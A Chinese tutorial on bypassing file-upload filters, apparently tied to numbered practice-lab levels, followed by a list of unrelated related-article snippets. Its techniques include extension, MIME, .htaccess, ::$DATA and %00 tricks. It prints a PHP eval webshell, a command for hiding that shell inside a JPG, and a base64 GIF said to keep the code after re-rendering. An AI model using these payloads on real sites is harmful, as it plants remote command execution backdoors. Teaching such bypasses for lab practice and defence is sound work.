文件上传漏洞(2), 文件上传实战绕过思路, 基础篇
文件上传漏洞实战思路(基础)
准备一句话木马文件 mm.php
一, 前端绕过 p1
- 浏览器禁用js
- 先把
mm.php后缀名修改为mm.jpg, 点击提交后, 用 burp 截取请求, 将数据包中的文件名修改回mm.php再提交.
二, 类型MIME绕过 p2
使用 burp 修改 Content-Type: image/jpeg
三, 黑名单绕过 p3
后端禁止上传.asp|.aspx|.php|.jsp后缀文件.
apache的httpd.conf中可能开启了其他类型脚本, 例如: AddType application/x-httpd-php .phps .phtml .php5 .php7 .pht
显然黑名单并不是好的防御方式, 用白名单更安全, 只允许某些类型.
使用 .phtml .phps .php7 等后缀文件.
四, 后缀名解析绕过 p4
后端没有对上传文件重命名, apache是从后先前解析文件后缀名, 直到遇到php可以执行.
cc -> bb -> aa -> php 发现php可以执行.
使用 mm.php.aa.bb.cc
五, .htaccess 文件绕过 p4
后端可能没有限制上传 .htaccess 文件.
.htaccess 文件是一个特殊的配置文件, 它用于配置当前目录下文件的行为, 允许任意格式的文件都作为php脚本执行.
.htaccess文件内容:
SetHandler application/x-httpd-php
- 将这个
.htaccess文件上传. - 接下来只要上传任意可以绕过黑名单格式的文件都可以当作脚本执行.
使用mm.txt, mm.jpg, mm.rar等等.
六, ". ."点空格点绕过 p5 p10
后端只去除了末尾的一个点, 上传后是 mm.php. , 注意末尾还有一个空格, 后面即使有一个空格也可以执行.
由于windows系统中无法用这种方式作为后缀名, 所以用burp截取请求, 修改文件名再上传.
使用 mm.php. .
七, 大小写绕过 p6
后端没有对文件名进行统一的大小写转换再判断后缀名.
使用 mm.PhP, mm.Php, mm.pHp 等.
八, "."点绕过 p8
后端没有去除末尾的点, 上传后是 mm.php., 后面即使有一个点也可以执行.
使用 mm.php.
九, 双写绕过
后端可能将php等脚本后缀名替换为空, 替换后只保留 mm.php .
使用 mm.pphphp
十, Windows文件系统专用 p7 p9
空格后缀绕过:
在windows的文件系统中, 最后面的空格在上传后保存会自动删除, 变成mm.php
使用 burp修改文件名"mm.php "::$DATA绕过
在windows的NTFS文件系统中,$DATA在上传后保存会自动删除, 变成mm.php
使用 burp修改文件名mm.php::$DATA
十一, PHP旧版本专用 p12 p13
php版本5.3.4以下, 文件名中%00后面的字符在上传到服务器后回截断删掉, 只保留mm.php.
使用 mm.php%00.jpg
十二, 图片马绕过
图片马绕过后上传到服务器, 如果没有.htaccess文件的情况下, 还需要通过文件包含漏洞来执行图片中的代码.
1. 低级防御绕过: p14
后端对图片文件检查不严格时, 例如只读取前2个字节判断图片类型, 那么可以使用简单图片马.
简单的图片马可以直接用记事本写一段文本, 再命名为mm.gif, 例如:
GIF89a
<?php @eval($_GET["cmd"]); ?>
简单图片木马虽然能绕过低级防御, 但是它并不是一个真正可以显示的有效的图片.
2. 中级防御绕过: p15 p16
后端用 getimagesize() 函数读取图片的基本信息, 包括宽高, 大小, 类型数字, mime类型, 通道值等等. 用简单图片马显然不行.
后端用 php_exif 模块的 exif_imagetype() 函数来判断图片, 用简单图片木马无法绕过.
此时我们需要用一张真正的图片制作木马.
准备一张能够正常上传的普通图片test.jpg, 准备木马文件mm.php, 打开cmd, 用copy命将木马合并进图片中得到out.jpg:
copy test.jpg/b + mm.php/a out.jpg
copy命令将mm.php中的代码合并到test.jpg图片结束符的后面, 不会影响图片的结构, 所以out.jpg是一个可以正常显示的有效图片, 可以绕过检测.
3. 高级防御绕过: p17
后端对上传的图片进行二次渲染.
在上传图片木马后, 后端使用 imagecreatefromjpeg() 函数对图片进行重新渲染, 生成一张新的图片保存到服务器.
原本木马图片中位于末尾的php代码会被删除, 导致木马失效.
此时我们需要先下载二次渲染后的图片, 然后用文本编辑器, 或者十六进制编辑器打开这张图片, 尝试在其中出现NULNULNUL这种连续的位置中插入php代码,
然后再上传, 再次下载二次渲染后的图片, 查看代码是否保存成功, 如果代码没有被删除则图片木马成功, 如果代码消失了就重新修改插入代码的位置, 不断尝试直到代码不会被二次渲染删除.
以下是一张能够绕过二次渲染的图片:
data:image/gif;base64,R0lGODdhIAAgAPcAAFwcGp6Efsa4to6KkHRRTm9ma6WhprlvV8ukl5RSR7+YjaejqNSFZ4R1dqWWl6lhTvLd1nQ/Obesr7GXk4F6gH1IPm5iZsm2s8+9usZ5X96wn5dZTr+PgKyRjcegk6x4bJ+aoKWKhGVXXHNFP7+0toFubumqkq6prod8f6NZTLijodqZhKydn6RpXMCvr4lIPruVi+W5pr90W412dq2VkrJpVfbm47ScleHIvs6AX+OkjIxRR9euoNqRd7BhT4thW5RaULWNhJaRlsFyV9mtnaBWSdaLcIBCObWtsoaBh3xJQsd7ZOqznKaNiHtGPY1ua7qqq7qppuzFscOdkoqFi3JrcLKio7VtWtinl5JTSbKmqc+FbpqWm6FhVGtDQciKeLujnZt/ea2foYZXUK6qsN2jj9CTgOW6qYl5evnq6LSemufPxoRTS4poZJddUntOR3Npbqymq3x1evDd2G9CPuXHuNqyoq6Uj6Keo6eMhm9FQXxxdOKtmaxeTrulotmdicGysmQvK49eVaWSkJWDg6V+dYtORYRkYqyamrBkUYpxcNupmJaGh9KCY4iDicimmpeTmX1HQZKNk59dT/jp5u/MvOioj4NkX7yxs8R8Y7xxWpNWTNaJbJ2Znq9mVMiPfb2kns2Wg+e/roxVS4N6frxwV7OalYN9gt6ehsawrKqYl+22n46JjrSlppuBfIZZUvTh3N+0psy4tX1QSnBmaquhpamjqLytrnFhZdK/usp7W7OSiqCaoMO1tbSprIt8fapaSsF2XpF1cPnn4ricluiljZxbULuvsYNKQauOicGpo9OGaqpiUbGrsJN7erufmenPxY1RSJ1dUoRNRXJDPayNhnNGQIJydOqumMGnopNPR8t9YZxVSqKantOPecSkm9KWguq+qwA8P3BocGluZm8oKT8+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAAIAAgAAAI/gDxdBpIsJMBECDwKFRowMDChw8bHkQIqWIchCDixFnAkSMZMrZCitSIUCMejBgZGtDIkuOJEx1jylzAhQtElnE+ksEZB09HJEh44okDqaaQoz4XaGzWjKNGoB89knGqsaGkq5IqOnBAaM+TELWYMtWos6qBly81SmLFaoDbGciQUZvbwgrQoHF8+QqJE+2JOKyOsnUWKVK0w9FS9ADKMw4vsQpF2qJChW2SMdR2aDZmTNu2WHefhjx2zC/LU5VZoRkxQvOOFD6KBDMhAIlYEs1sYdKI9qnlAb/0CM+SxZPxJcVk6fUFlDRTvix9SaJMitTczDuAJUrkDRtQEiRG/h8DOvrpAlaUqewpHIk4sCFDLMFo1QqoXi1awJNYDhQP5SRJ4ELHG6NwY6AuqDwSghq+OCfWXbYxhZ9bKKAwy4XGyCBDH7qE4koyVlhB2oj44XeXGHEgwUp11yjhYjTAHHBADuCEEIIpUIw4IlP6sYQEdT8clkACfWiSQSNBhDHIIPS1UuKTLIlFWQnEuRcMAwwUs8supuCno46AhEneLaec0sY0aPbRxwG66IJNCBPEGWJzpIl0jC34YYJJEntotsGfG2iCZRlhhEADDSyw8CQvSLBwjBYsLFdLB4WMgOY0ghhiSCZbbOFNolCEOqILLpRIAmlakKaBBl90Ec0L/lN8MFcoUqxATKhQ3KLrLSTqR4IWvfjCwxRTPPAAN54E88AVPJxRDSLQIhLitNRagV+IWpCyCx2jZOLJJ5xwYkk4i4ACSpOkkUqqFmGK0UsvqMLRABsjGHLFH2YwwUQxRNCghh8A+0Hik+MhgR8UcMBxSAQRTMFHOJVIIQUCzyjT5HK+rPsku6HuUYAroARSTQw4hEAJBFMoo0wULLccBSCkUasnfnIUUAIsFwBgBw442ICByspM22QrI1qBK663NCACIRBc8MoUaUBDSTZUZyOGGCE2GaZeoaaSCn1W7GGBCsOAIswNsMBCCTHEAG2FrqGGCYjRpL377i1oFJCLMA0dBICGLxDYECfA1RoNyNVieC03ILcwck0qpth4CQHmwsA2y0dD4XUqIapLapgBAQA7
相关文章:
文件上传漏洞(2), 文件上传实战绕过思路, 基础篇
文件上传漏洞实战思路(基础) 准备一句话木马文件 mm.php 一, 前端绕过 p1 浏览器禁用js先把mm.php后缀名修改为mm.jpg, 点击提交后, 用 burp 截取请求, 将数据包中的文件名修改回mm.php再提交. 二, 类型MIME绕过 p2 使用 burp 修改 Content-Type: image/jpeg 三, 黑名单绕…...
论文阅读 - Hidden messages: mapping nations’ media campaigns
论文链接: https://link.springer.com/content/pdf/10.1007/s10588-023-09382-7.pdf 目录 1 Introduction 2 The influence model 2.1 The influence‑model library 3 Data 4 Methodology 4.1 Constructing observations 4.2 Learning the state‑transiti…...
[AutoSAR系列] 1.3 AutoSar 架构
依AutoSAR及经验辛苦整理,原创保护,禁止转载。 专栏 《深入浅出AutoSAR》 1. 整体架构 图片来源: AutoSar 官网 从官往图中可以看出autosar作为汽车ECU软件架构,是通过分层来实现软硬件隔离。就像大多数操作系统一样ÿ…...
迁移学习 - 微调
什么是与训练和微调? 你需要搭建一个网络模型来完成一个特定的图像分类的任务。首先,你需要随机初始化参数,然后开始训练网络,不断调整参数,直到网络的损失越来越小。在训练的过程中,一开始初始化的参数会…...
09 用户态跟踪:如何使用eBPF排查应用程序?
09 用户态跟踪:如何使用eBPF排查应用程序? sudo bpftrace -e usdt:/usr/bin/python3:function__entry { printf("%s:%d %s\n", str(arg0), arg2, str(arg1))} # -*- coding: UTF-8 -*- import socket from socket import SOL_SOCKET, SO_R…...
深入浅出排序算法之堆排序
目录 1. 算法介绍 2. 执行流程⭐⭐⭐⭐⭐✔ 3. 代码实现 4. 性能分析 1. 算法介绍 堆是一种数据结构,可以把堆看成一棵完全二叉树,这棵完全二叉树满足:任何一个非叶结点的值都不大于(或不小于)其左右孩子结点的值。若父亲大孩子小&#x…...
Linux 命令(11)—— tcpdump
文章目录 一、命令简介二、使用方法三、命令选项四、基本语法和使用方法1. 显示 ASCII 字符串2. 抓取特定协议的数据3. 抓取特定主机的数据4. 将抓取的数据写入文件5. 行缓冲模式 五、理解tcpdump的输出六、过滤表达式1. Host 过滤2. Network 过滤3. Proto 过滤4. Port 过滤5. …...
8.自定义组件布局和详解Context上下文
pages/index.vue layout布局运行在服务端 1、在项目的目录下新建layout文件夹,并新建一个blog.vue布局文件 2、在页面中的layout函数里,返回刚才新建布局文件的名字blog就可以使用了 export default {...layout (context) {console.log(context)retu…...
几个Web自动化测试框架的比较:Cypress、Selenium和Playwright
介绍:Web自动化测试框架对于确保Web应用程序的质量和可靠性至关重要。它们帮助开发人员和测试人员自动执行重复性任务,跨多个浏览器和平台执行测试,并在开发早期发现问题。 以下仅代表作者观点: 本文探讨来3种流行的Web自动化测…...
Android Studio中配置aliyun maven库
当下载第三方库失败的时候,通过Android Studio中配置aliyun maven库,达到正常下载库效果 在项目的根build.gradle里面(不是module)buildscriptde对应位置添加配置: maven { url https://maven.aliyun.com/repository/…...
记录使用阿里 ARoute 遇到的坑
1.按照官方一个配置好之后 尝试使用 跳转出现 Aroute Theres no route matched path"" 我这边遇到的坑是配置问题 kotiln 使用了 Java的配置 plugins {id("com.android.application")id("org.jetbrains.kotlin.android")id("kotlin-kapt&…...
lesson2(补充)关于const成员函数
个人主页:Lei宝啊 愿所有美好如期而遇 前言: 将const 修饰的 “ 成员函数 ” 称之为 const 成员函数 , const 修饰类成员函数,实际修饰该成员函数 隐含的 this 指针 ,表明在该成员函数中不能对类的任何成员进行修改…...
前端 :用HTML ,JS写一个 双色球彩票中将机制,因为时间不够,加上本人懒没有用CSS美化界面,多包涵
1.HTML <body><div id"content"><div id "top"><div id "username">用户号码:</div><div id "qiu"><span id "red">红球:</span><input id…...
前端页面如何自适应--4种方法
前端页面有很多方法可以实现。这里我将介绍五种常用的方法,并提供相应的代码示例。 1. 使用CSS媒体查询 通过CSS媒体查询,可以根据不同的屏幕尺寸应用不同的样式。在Vue组件中,可以在样式部分使用媒体查询,使排版根据屏幕大小进…...
2024王道考研计算机组成原理——总线
6.1 总线概述 每一个外设都通过IO接口和DB、CB、AB相连 三系统总线结构: 桥有总线仲裁的功能,就是把某一总线的使用权分给哪个设备? 6.1.2 总线的性能指标 总线复用:分时传输地址&数据 6.2 总线仲裁 通过控制总线来发送使…...
【Linux】进程概念(下)
进程概念 一、环境变量1. 命令行参数2. 常见的环境变量(1)PATH(2)PWD(3)HOME(4)env 查看所有的环境变量 3. 获取环境变量(1)通过代码获取环境变量(…...
基于Spring Boot的本科生就业质量设计与实现
摘 要 信息化爆炸的时代,互联网技术的指数型的增长,信息化程度的不断普及,社会节奏在加快,每天都有大量的信息扑面而来,人们正处于数字信息化世界。数字化的互联网具有便捷性,传递快,效率高&am…...
238. 除自身以外数组的乘积 --力扣 --JAVA
题目 给你一个整数数组 nums,返回 数组 answer ,其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请不要使用除法,且在 O(n) 时间复…...
如何判断一个类是线程安全的
线程安全 一个类或者程序提供的接口,多个线程之间的切换不会导致该接口的执行结果存在二义性,也就是不必考虑同步问题。 或者说一段代码可能会被多个线程同时执行,如果每次运行的结果和单线程执行的结果是一样的,并且其他变量的…...
MyBatis的各种查询功能
文章目录 情景查询一个实体类对象查询一个List集合查询单个数据查询一条数据为map集合查询多条数据为map集合方法一方法二 情景 如果查询出的数据只有一条,可以通过 实体类对象接收List集合接收Map集合接收,结果{password123456, sex男, id1, age23, us…...
网络编程(Modbus进阶)
思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…...
UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...
【Python】 -- 趣味代码 - 小恐龙游戏
文章目录 文章目录 00 小恐龙游戏程序设计框架代码结构和功能游戏流程总结01 小恐龙游戏程序设计02 百度网盘地址00 小恐龙游戏程序设计框架 这段代码是一个基于 Pygame 的简易跑酷游戏的完整实现,玩家控制一个角色(龙)躲避障碍物(仙人掌和乌鸦)。以下是代码的详细介绍:…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
使用分级同态加密防御梯度泄漏
抽象 联邦学习 (FL) 支持跨分布式客户端进行协作模型训练,而无需共享原始数据,这使其成为在互联和自动驾驶汽车 (CAV) 等领域保护隐私的机器学习的一种很有前途的方法。然而,最近的研究表明&…...
【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...
ESP32读取DHT11温湿度数据
芯片:ESP32 环境:Arduino 一、安装DHT11传感器库 红框的库,别安装错了 二、代码 注意,DATA口要连接在D15上 #include "DHT.h" // 包含DHT库#define DHTPIN 15 // 定义DHT11数据引脚连接到ESP32的GPIO15 #define D…...
CocosCreator 之 JavaScript/TypeScript和Java的相互交互
引擎版本: 3.8.1 语言: JavaScript/TypeScript、C、Java 环境:Window 参考:Java原生反射机制 您好,我是鹤九日! 回顾 在上篇文章中:CocosCreator Android项目接入UnityAds 广告SDK。 我们简单讲…...
相机从app启动流程
一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
